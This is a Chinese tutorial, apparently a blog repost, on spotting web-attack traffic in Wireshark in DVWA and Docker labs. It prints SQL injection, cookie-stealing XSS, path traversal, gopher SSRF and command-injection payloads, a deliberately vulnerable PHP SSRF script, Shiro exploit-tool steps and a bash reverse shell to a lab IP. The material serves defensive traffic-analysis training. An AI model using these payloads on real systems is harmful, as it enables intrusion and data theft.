基础漏洞流量分析

基础漏洞流量分析

sql注入

sql注入原理

SQL 注入的攻击行为可以描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。
  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到 SQL 语句中

sql注入危害

攻击者可以利用 SOL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容 (脱库)。

在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。
如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用 SOL 注入漏洞直接获取 WebshelL 或者服务器权限。

流量特征

可以在流量中看到明显的sql注入查询语句,诸如union select sleep() database等,也有url编码

演示过程

此处以dvwa low为例

image-20231209145523475

使用poc

1' union select 1,database() #

提交过后查看wireshark抓取的数据

找到http的并且目标ip为靶场IP的流量

image-20231209145605501

会发现明显的sql注入查询语句

image-20231209145733047

xss

xss原理

XSS攻击利用了Web应用程序对用户输入数据的信任以及过滤不足,攻击者通过在网页中插入恶意脚本,使得用户浏览器执行恶意代码(JS),从而达到攻击的目的。

xss危害

XSS漏洞可能导致用户隐私泄露、账号被劫持、网站内容被篡改、恶意脚本的传播等危害。

流量特征

流量中可能出现xss相关的关键字,例如<script>标签,亦或是为了绕过防御而出现的双写大小写,或者javascript伪协议,以及html响应事件的关键字

演示过程

此处以dvwa low为例

image-20231209150550021

poc

<script>alert(document.cookie)</script>

image-20231209150707189

流量中存在明显的script标签以及获取cookie的语句

文件上传

文件上传成因

服务器配置不当,开启了PUT 方法。

Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。

在程序开发部署时,没有考虑以下因素,导致限制被绕过:

  • 代码特性;
  • 组件漏洞;
  • Web 容器漏洞;
  • 系统特性;

文件上传危害

上传恶意代码(文件,程序),并执行恶意代码(文件,程序):

  • 直接上传后门文件并执行,导致网站沦陷;
  • 通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。

流量特征

该流量中包含文件名和后缀,以及类型,如果不能直接判断,还可以直接看上传文件的内容

演示过程

以dvwa low为例

image-20231209152628834

image-20231209152619654

从info段没有什么明显特征,只能看出提交了个post请求,但是具体查看可以看到该流量中包含文件名和后缀,以及类型,如果不能直接判断,还可以直接看上传文件的内容

文件包含

原理

如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞,如果无条件解析代码,也为图片马提供了出路

危害

文件包含漏洞可能导致攻击者执行任意代码、获取敏感信息、篡改页面内容等恶意行为。

流量特征

文件包含的流量特征是请求包中有非服务器允许访问的文件路径,或者文件路径中出现 data://ftp:// 等协议或者目录穿越的关键字 ../../

image-20231209153837626

演示过程

dvwa low为例

poc

http://10.9.47.181/dvwa_2.0.1/vulnerabilities/fi/?page=../../../phpinfo.php

通过靶场直接读到了目录下的phpinfo

image-20231209153604469

image-20231209153706028

可以看到流量中出现参数名后接…/…/这种的目录穿越的格式

文件读取

任意文件读取漏洞由于对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件

与文件包含的区别是文件读取无法解析执行文件,只能读取文件的内容

跟文件包含的流量特征类似,请求访问的文件地址中出现 C://../../ 等关键字或者其他非服务器允许访问的文件路径

ssrf

介绍

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

危害

  • 端口扫描;
  • 内网Web 应用指纹识别;
  • 攻击内网应用;
  • 读取本地文件;

流量特征

动态参数后可能存在协议,抑或是ip和端口号,因为可能对其进行探测或者资源获取,协议可能出现的关键字例如gopher,dict,file

演示过程

演示环境

<?php
//	ssrf_curl.php

if(isset($_REQUEST['url'])){
	$link = $_REQUEST['url'];
	$fileName = './curled/'.time().".txt";
	$curlObj = curl_init($link);
	$fp = fopen($fileName,'w');
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);
	curl_close($curlObj);
	fclose($fp);
	
	if(getimagesize($fileName)){
		header("Content-Type:image/png");
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}else{
	echo "?url=[url]";
}
?>

poc

http://10.9.47.181/ssrf/ssrf_curl.php?url=gopher://127.0.0.1:3306

可以读取到返回信息

image-20231209155010423

image-20231209155142006

流量中存在协议,ip,以及端口号

shiro反序列化

漏洞原理

在 Apache shiro 的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在 cookie 字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到 RememberMe Cookie 字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的 cookie 值进行身份验证,无需登录即可访问。那么显然,服务端进行对 cookie 进行验证的步骤就是:取出请求包中 rememberMe 的cookie值 => Base64解码=>AES解密(用到密钥 key )=>反序列化。

靶场搭建

换源

vim /etc/apt/sources.list
中科大Kali镜像源
 
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

更新可用软件包列表

apt-get update

安装docker

apt-get install docker-compose
init 6

然后重启一下

启动docker

service docker start

拉取靶场镜像

docker pull medicean/vulapps:s_shiro_1

启动靶场映射到80

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

image-20231209160958978

演示过程

访问kali IP

登录

image-20231209161102699

当登陆页面有 remember me ,记住密码类似的字样需要考虑 shiro 反序列化漏洞

image-20231209161204479

shiro 550 用户名密码随便填写,勾选 Remember Me,点击登录,抓包

image-20231209161631975

使用shiro工具

java -jar shiro_attack-4.5.3-SNAPSHOT-all.jar

image-20231209162211100

按照从上到下的顺序点击

然后就可以利用功能了

image-20231209162444680

ip.dst==10.4.7.137

过滤过后找到http

发现流量特征,包内cookie后有利用链加密,很长

image-20231209164704636

base64 解码>解密>反序列化后为利用链的 exp

流量特征

将 exp 经序列化 => 对称加密 => base64 编码存储到 Cookie 中,比正常的 Cookie 值要长的多

jwt

详情见我的另一篇文章

https://blog.csdn.net/qq_58683895/article/details/134884411

抓取流量过后,会发现Authorization字段有类似jwt的数据,将其以点分隔使用base64解码,即可看出具体的信息,可以看看解码后加密部分是否为none,亦或是exp部分和user和信息是否匹配,以此判断jwt是否被攻击者更改利用

image-20231209170402848

暴力破解

以dvwa low 为例

可以看到流量中出现username=?或者password=?的字样,并且流量包非常多

image-20231209180428087

命令执行

dvwa low为例

poc

ping 127.0.0.1|whoami

image-20231209180629583

出现命令执行相关的关键字

image-20231209180712177

反弹shell

模拟环境

image-20231209183855055

bash -c 'bash -i >& /dev/tcp/10.4.7.138/12138 0>&1'

image-20231209184238543

image-20231209184245702

会出现大量的tcp流量,内容中还会出现命令字

image-20231209184511035

也可以追踪流来查看,大体能直接看出操作的流程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/233887.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Redis | Redis入门学习介绍及常见原理剖析

关注wx&#xff1a;CodingTechWork Redis介绍 概述 Redis是NoSQL&#xff0c;是key-value分布式内存数据库。 缓存 缓存是将数据从慢的介质换到快的介质上&#xff0c;提高读写效率和性能&#xff0c;并降低数据库的读写成本。内存的速度一般都远远大于硬盘的速度&#xf…

arm-none-eabi-gcc not find

解决办法&#xff1a;安装&#xff1a;gcc-arm-none-eabi sudo apt install gcc-arm-none-eabi; 如果上边解决问题了就不用管了&#xff0c;如果解决不了&#xff0c;加上下面这句试试运气&#xff1a; $ sudo apt-get install lsb-core看吧方正我是运气还不错&#xff0c;感…

kafka学习笔记--如何保证生产者数据可靠、不重复、有序

本文内容来自尚硅谷B站公开教学视频&#xff0c;仅做个人总结、学习、复习使用&#xff0c;任何对此文章的引用&#xff0c;应当说明源出处为尚硅谷&#xff0c;不得用于商业用途。 如有侵权、联系速删 视频教程链接&#xff1a;【尚硅谷】Kafka3.x教程&#xff08;从入门到调优…

改进YOLOv8注意力系列一:结合ACmix、Biformer、BAM注意力机制

🗝️改进YOLOv8注意力系列一:结合ACmix、Biformer、BAM注意力机制 代码ACmixBiFormerBAMBlock加入方法各种yaml加入结构本文提供了改进 YOLOv8注意力系列包含不同的注意力机制以及多种加入方式,在本文中具有完整的代码和包含多种更有效加入YOLOv8中的yaml结构,读者可以获…

【flink番外篇】1、flink的23种常用算子介绍及详细示例(完整版)

Flink 系列文章 一、Flink 专栏 Flink 专栏系统介绍某一知识点&#xff0c;并辅以具体的示例进行说明。 1、Flink 部署系列 本部分介绍Flink的部署、配置相关基础内容。 2、Flink基础系列 本部分介绍Flink 的基础部分&#xff0c;比如术语、架构、编程模型、编程指南、基本的…

Linux系统编程:进程间通信总结

管道 在Linux中&#xff0c;管道是一种进程间通信方式&#xff0c;它允许一个进程&#xff08;写入端&#xff09;将其输出直接连接到另一个进程&#xff08;读取端&#xff09;的输入。从本质上说&#xff0c;管道也是一种文件&#xff0c;但它又和一般的文件有所不同。 具体…

SpringMvc入坑系列(一)----maven插件启动tomcat

springboot傻瓜式教程用久了&#xff0c;回过来研究下SSM的工作流程&#xff0c;当然从Spring MVC开始&#xff0c;从傻瓜式入门处理请求和页面交互&#xff0c;再到后面深入源码分析。 本人写了一年多的后端和半年多的前端了。用的都是springbioot和vue&#xff0c;源码一直来…

【视频笔记】古人智慧与修行

古人的智慧 相由心生、老子悟道、佛祖成佛 多一些思考&#xff0c;多一些精神修炼。 除非我们今天能够产生与人类科技发展相并行的精神变革&#xff0c;否则永远可能也无法跳脱出历史的轮回。 视频来源

爬虫学习-基础库的使用(urllib库)

目录 一、urllib库介绍 二、request模块使用 &#xff08;1&#xff09;urlopen ①data参数 ②timeout参数 &#xff08;2&#xff09;request &#xff08;3&#xff09;高级用法 ①验证 ②代理 ③Cookie 三、处理异常 ①URLError ②HTTPError 四、解析链接 ①urlparse ②…

【C语言】结构体内存对齐

目录 引入结构体 结构的声明 创建和初始化 内部元素的使用&#xff1b; 特殊声明&#xff1a; 结构体在内存中的对齐 练习&#xff1a; 引入结构体 C语言有各种数据类型&#xff0c;我们已经对一些数据类型很熟悉&#xff1a; 整型&#xff08;int&#xff09;- 存储整…

108. 将有序数组转换为二叉搜索树

给你一个整数数组 nums &#xff0c;其中元素已经按 升序 排列&#xff0c;请你将其转换为一棵 高度平衡 二叉搜索树。 高度平衡 二叉树是一棵满足「每个节点的左右两个子树的高度差的绝对值不超过 1 」的二叉树。 示例 1&#xff1a; 输入&#xff1a;nums [-10,-3,0,5,9] 输…

06-React组件 Redux React-Redux

React组件化&#xff08;以Ant-Design为例&#xff09; 组件化编程&#xff0c;只需要去安装好对应的组件&#xff0c;然后通过各式各样的组件引入&#xff0c;实现快速开发 我们这里学习的是 Ant-design &#xff08;应该是这样&#xff09;&#xff0c;它有很多的组件供我们…

kali linux使用Proxmark3

其实kali linux下已经集成了Proxmark3命令&#xff0c;但是由于Proxmark3是开源设备&#xff0c;有时候系统默认安装的版本并不能很好的使用&#xff0c;因此需要手动编译最新的版本。 step 1 准备Proxmark3编译环境&#xff0c;因为kali linux比较激进&#xff0c;很多老旧的…

【EI会议征稿中】第三届信号处理与通信安全国际学术会议(ICSPCS 2024)

第三届信号处理与通信安全国际学术会议&#xff08;ICSPCS 2024&#xff09; 2024 3rd International Conference on Signal Processing and Communication Security 信号处理和通信安全是现代信息技术应用的重要领域&#xff0c;近年来这两个领域的研究相互交叉促进&#xf…

基于YOLOv7算法的高精度实时海上船只目标检测识别系统(PyTorch+Pyside6+YOLOv7)

摘要&#xff1a;基于YOLOv7算法的高精度实时海上船只目标检测系统可用于日常生活中检测与定位海上船只目标&#xff0c;此系统可完成对输入图片、视频、文件夹以及摄像头方式的目标检测与识别&#xff0c;同时本系统还支持检测结果可视化与导出。本系统采用YOLOv7目标检测算法…

配置BFD多跳检测示例

BFD简介 定义 双向转发检测BFD&#xff08;Bidirectional Forwarding Detection&#xff09;是一种全网统一的检测机制&#xff0c;用于快速检测、监控网络中链路或者IP路由的转发连通状况。 目的 为了减小设备故障对业务的影响&#xff0c;提高网络的可靠性&#xff0c;网…

【亲测有效】支持横竖屏 微信小程序video禁止进度条拖动,微信小程序遮罩进度条,

背景&#xff1a;部分课程禁止客户拖动视频进度条直至播放结束 红色是遮罩区域遮罩区域 实际遮罩效果&#xff08;有一个很浅的阴影区域&#xff09; 实现代码 .wxml文件 <video enable-progress-gesture"false" ><cover-view class"cover">…

JAVA全栈开发 day18MySql03

一、复习 为什么要用数据库数据库好处数据库的发展史​ 层次模型​ 网状模型​ 关系模型&#xff08;二维表专门存储数据&#xff0c; 表与表的关联&#xff09;​ 表与表的关系&#xff1a; 1对1 &#xff0c;1对多&#xff0c;多对多​ 非关系模型关系模…

Linux常见压缩指令小结

为什么需要压缩技术 我们都知道文件是以byte作为单位的&#xff0c;如果我们的文件仅仅在低位占一个1 0000 0001这种情况我们完全可以压缩一下&#xff0c;将高位的0全部抹掉即可。 如上所说是一种压缩技术&#xff0c;还有一种就是将1111(此处省略96个)一共100个1&#xff0…

Unity中Shader黑白阀值后处理效果

文章目录 前言一、我们先来PS看一下黑白阀值的效果二、使用step(a,b)函数实现效果三、实现脚本控制黑白阀值1、在Shader属性面板定义控制阀值变量2、把step的a改为_Value3、在后处理脚本设置公共成员变量,并且设置范围为&#xff08;0&#xff0c;1&#xff09;4、在Graphics.B…
最新文章